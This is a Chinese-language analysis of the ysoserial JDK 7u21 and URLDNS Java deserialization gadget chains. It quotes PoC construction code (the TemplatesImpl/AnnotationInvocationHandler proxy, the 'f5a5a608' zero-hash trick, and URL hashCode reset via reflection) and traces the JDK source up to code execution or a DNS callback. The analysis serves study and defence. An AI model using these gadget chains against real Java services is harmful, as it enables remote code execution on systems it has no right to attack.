7u21
7u21中利用了TemplatesImpl來執行命令，結合動態代理、AnnotationInvocationHandler、HashSet都成了gadget鏈。
先看一下調用棧，把ysoserial中的調用棧簡化了一下
LinkedHashSet.readObject()
LinkedHashSet.add()
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
對_bytecodes屬性的值(實例的字節碼)進行實例化
RCE
其中關於TemplatsImpl類如何執行惡意代碼的知識可以參考另一篇文章中對CommonsCollections2的分析，這里不再贅述。只要知道這里調用TemplatesImpl.getOutputProperties()可以執行惡意代碼即可。
看一下ysoserial的poc
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//返回構造好的TemplatesImpl實例，實例的_bytecodes屬性的值是執行惡意語句類的字節碼
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作為構造方法的第二個參數，map賦值給AnnotationInvocationHandler.membervalues屬性
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//為AIH創建代理
LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父類是HashSet
set.add(templates);//TemplatesImpl實例
set.add(proxy);//AnnotationInvocationHandler實例的代理，AnnotationInvocationHandler的membervalues是TemplatesImple實例
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); //綁定到AnnotationInvocationHandler的那個map中的再添加一組鍵值對，value是TemplatesImpl實例。但是由於map中的第一組鍵值對的鍵也是zeroHashCodeStr，因此這里就是相當於把第一個鍵值對的value重新復賦值了。
return set;//返回LinkedHashSet實例，用於序列化
}
總體來說就是返回一個LinkedHashSet實例，其中有兩個元素，第一個元素是_bytecodes屬性是惡意類字節碼的TemplatesImpl實例。
第二個元素是AnnotationInvocationHandler的代理實例，這個AnnotationInvocationHandler實例在初始化時將一個HashMap實例傳入，HashMap的第一個元素的key是TemplatesImpl實例。
看一下AnnotationInvocationHandler的構造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
也就是把這個HashMap實例賦值給了memberValues屬性。
至此poc分析完畢，下面調試一下反序列化觸發gadget鏈的流程。有感到模糊的地方可以參考以上的分析。
gadget鏈分析
首先由於poc return了LinkedHashSet實例用於序列化，因此這就是反序列化的入口。由於LinkedHashSet沒有實現readObject()方法，因此跟進其父類：HashSet.readObject。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));//創建一個新map
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);//將反序列化出來的元素put到map中
}
}
我們主要關注其對元素的操作。可以看到最后的一個for循環，變量e就是每個元素反序列化之后的實例。由於在構建poc時，LinkedHashSet被我們添加了兩個元素，因此這里會進行兩次for循環，第一次e是TemplatsImpl實例，第二次是Proxy實例
這里把兩個元素反序列化之后會作為第一個參數調用map.put()，跟進一下這個方法
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
我們主要關注這里對第一個參數key的操作，因為我們的payload就在TemplatsImple和Proxy實例中，因此只有對key做某些操作才可能會觸發我們的payload。
可以看到首先調用了hash(key)，跟進一下HashMap.hash()
final int hash(Object k) {
...
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
可以發現，這里調用了key的hashCode()方法。我們挨個看看兩個key：TemplatesImpl和Proxy是如何調用hashCode()的。
由於TemplatesImpl並沒有實現hashCode()方法，因此直接調用了基類Object.hashCode()。
public native int hashCode();
這是個native方法，也就是java調用非java代碼編寫的接口，這個hashCode()大概是通過計算對象的內存地址得到的。下面再看Proxy.hashCode()，由於動態代理的特性，調用Proxy的所有方法都會轉而調用綁定在Proxy上的InvocationHandler的Invoke()方法。回顧最上面創建Proxy時，我們綁定的InvocationHandler是AnnotationInvocationHandler實例，因此這里會轉而調用AnnotationInvocationHandler.invoke()，跟進之后發現，最底層調用了AnnotationInvocationHandler.hashCodeImple()方法
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
這里看的會比較繞，其實就是通過遍歷this.memberValues.entrySet()中的所有鍵值對，來計算其中的key和value的hash，全部加起來之后返回最后的hash值。這里的this.memberValues屬性就是我們在構建poc時傳入的那個HashMap實例。
Proxy.hashCode()跟完了，沒有什么危險操作。因此回到最開始的HashMap.put()中。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
int hash = hash(key)這一步已經跟蹤完了，繼續往下看。可以看到for循環的條件是table[i] != null，這里的table在最后調用的addEntry()中進行了賦值，跟進一下
void addEntry(int hash, K key, V value, int bucketIndex) {
if ((size >= threshold) && (null != table[bucketIndex])) {
resize(2 * table.length);
hash = (null != key) ? hash(key) : 0;
bucketIndex = indexFor(hash, table.length);
}
createEntry(hash, key, value, bucketIndex);
}
void createEntry(int hash, K key, V value, int bucketIndex) {
Entry<K,V> e = table[bucketIndex];
table[bucketIndex] = new Entry<>(hash, key, value, e);
size++;
}
可以發現，這里利用key、value和hash創建了一個Entry實例，然后添加到了table數組中。回到上面的put()方法，由於for循環處的table中沒有數據，因此調用完addEntry()就直接return了。
接下來是第二次進入put()方法，這一次傳入的k參數是Proxy實例。int hash = hash(key);我們已經跟進過了，僅需往下看，到了for循環。由於在上一次table中已經有了數據，因此這里會進入。然后就到了if條件
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
這里的變量e就是在上次添加到table數組中的那個Entry對象。e.hash就是初始化時傳入的hash的值，同理e.key也是初始化時傳入的key。如果這里滿足e.hash == hash且e.key != key時，就會調用key.equals(e.key)。
這些條件后面會回過頭來說，先假設這些條件都可以滿足。就會導致調用key.equals(e.key)，這里的key是Proxy，而e.key是上一次的TemplatesImpl實例。又由於調用了Proxy的方法，自動跳轉到AnnotationInvocationHandler.invoke()。跟進一下
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
...
}
}
var1是代理類實例，var2是調用的方法，就是equals的Method對象，var3是調用的參數，也就是TemplatesImpl實例。注意上面的第一個if條件，equals方法的參數是Object類型，因此總體判定條件為True，從而以var3[0]為參數，調用this.equalsImpl()，跟進
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
這里的var1就是TemplatesImpl實例，而this.type在創建poc時就已經定義了
Reflections.setFieldValue(tempHandler, "type", Templates.class);
TemplatesImpl的正是實現了Templates接口，因此if條件中的this.type.isInstance(var1)是True，非True就是False，因此進入Else語句。首先調用了this.getMemberMethods()，跟進一下
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射獲取this.type類/接口中聲明的所有方法
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
由於this.type是Templates接口，因此看一下這個接口聲明了哪些方法。
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
只聲明了兩個方法：newTransformer()和getOutputProperties()。
回到equalsImpl()，獲取了this.type中聲明的方法之后返回給變量var2。然后進入一個for循環，對這些方法進行遍歷。先把方法名賦值給var6，跟進this.asOneOfUs()
private AnnotationInvocationHandler asOneOfUs(Object var1) {
if (Proxy.isProxyClass(var1.getClass())) {
...
}
return null;
}
由於var1是TemplatesImpl實例，並不是Proxy，因此直接return null。回到上面，由於var9是null，因此進入else語句
var8 = var5.invoke(var1);
var5是上面返回的兩個方法的其中一個，也就是newTransformer()和getOutputProperties()，var1是TemplatesImpl實例。這里通過反射調用TemplatesImpl的var5方法。
本文一開始就說了，調用TemplatesImpl.getOutputProperties()會導致TemplatesImpl._bytecodes的值(含有執行惡意代碼的類的字節碼)進行實例化，因此這里就是漏洞的觸發點了。
hashCode繞過
至此漏洞已經成功觸發，回到之前還有一個沒有完成的點，也就是HashMap.put()方法中的那個if條件。
public V put(K key, V value) {
...
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
...
}
也就是這里的e.hash == hash和e.key != key。由於key是Proxy實例，e.key是TemplatesImpl實例，因此第二個條件好滿足，注意是第一個條件，如何保證兩者的hash相同？
e.hash是由TemplatesImpl.hashCode()，由於TemplatesImpl沒有定義這個方法，因此調用的是Object的方法，而正如之前說的，Object.hashCode()是通過對象的內存地址來計算hash的。
hash變量是Proxy.hashCode()返回的，也就是之前分析的AnnotationInvocationHandler.hashCodeImple()，回顧一下
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
這里的this.memberValues屬性就是我們在構建poc時傳入的那個HashMap實例，也就是(new HashMap()).put("f5a5a608", templates)，templates是TemplatesImpl實例。上面的hashCodeImple()主要是這句：
private int hashCodeImpl() {
...
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
...
return var1;
}
而key是"f5a5a608"，value是TempIatesImpl實例，因此等價於
127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)
跟進一下memberValueHashCode
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
...
由於參數是TemplatesImpl對象，因此直接返回了TemplatesImpl.hashCode()，前面已經說了，其TemplatesImpl並沒有重寫hashCode，因此調用Object.hashCode()根據對象的內存地址生成了hash。至此兩個hash的值已經計算完了。
第一個hash：
TemplatesImpl實例.hashCode()
第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl實例.hashCode()
這兩個TemplatesImpl實例的內存地址實際上是一樣的，因為在構建poc時，用的就是同一個TemplatesImpl實例：
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl實例
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
...
LinkedHashSet set = new LinkedHashSet();
set.add(templates);//插入TemplatesImpl實例
set.add(proxy);//Proxy代理
...
map.put(zeroHashCodeStr, templates);//插入TemplatesImpl實例
return set;
}
由於是同一個實例，因此內存地址相同，因此Object.hashCode()返回的hash也是相同的。回看一下兩個hash
第一個hash：
TemplatesImpl實例.hashCode()
第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl實例.hashCode()
我們只需要計算一下"f5a5a608".hashCode()，這也是一個比較有意思的點，直接放到Debug中計算一下
結果是0！這個值好像是一哥們通過一個while循環遍歷出來的。因此上面的第二個hash由於是127 * 0，因此也是0，從而兩個hash變成了：
第一個hash：
TemplatesImpl實例.hashCode()
第二個hash
0 ^ TemplatesImpl實例.hashCode()
^是異或運算符，異或的規則是轉換成二進制比較，相同為0，不同為1。由於是按二進制的位進行比較，0只有一位，也就是說如果一個數的最低位與0相同，那一位則為0，否則則為1，這個結果正好與條件一樣，只有最低位是0時才會與0相同，從而返回0。如果最低位是1，與0不同，則返回1，也就是啥都沒變唄。所以說任何數與0異或，結果都還是原來的值，因此上面這兩個hash相等了。
至此幾個條件全部滿足，通過后面的key.equals(k)造成了代碼執行。
因此整個的數據流大概是
HashSet.readObject()
HashMap.put()
TemplatesImpl.hashCode()
HashMap.put()
Proxy.hashCode()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.hashCodeImpl()
Proxy.equals()
AnnotationInvocationHandler.Invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
對_bytecodes屬性的值(實例的字節碼)進行實例化
RCE
參考
JDK7u21反序列化漏洞分析
ysoserial payload分析
URLDNS
這個gadget會在反序列化時發送一個DNS請求，僅依賴於JDK，因此適用范圍很廣，應該是只要有反序列化入口就能用這個gadget打。
先看一下調用棧
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
這里就涉及到了URL類，這個類的hashCode()方法底層會調用URLStreamHandler.hashCode()發送一個DNS請求。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
...
在反序列化時，HashMap會自動對鍵計算hash，其中就調用了鍵的hashCode()方法，因此我們可以利用HashMap來觸發URL.hashCode()：
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
...
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//
}
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
根據以上描述大概可以寫出這樣的poc
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
return ht;
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
這里的SilentURLStreamHandler類重寫了URLStreamHandler.getHostAddress()，這樣可以保證在編譯gadget時不會發送DNS請求。
然后我們把上面poc返回的類進行序列化，在反序列化並沒有發送DNS請求。調試之后才發現，在反序列化調用URL.hashCode()由於已經存在hashCode且值不為-1，從而直接return掉了。
因此我們需要保證URL.hashCode的值為null或-1。我們可以在序列化時利用反射來修改URL的屬性，如下
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
調用鏈如下
HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()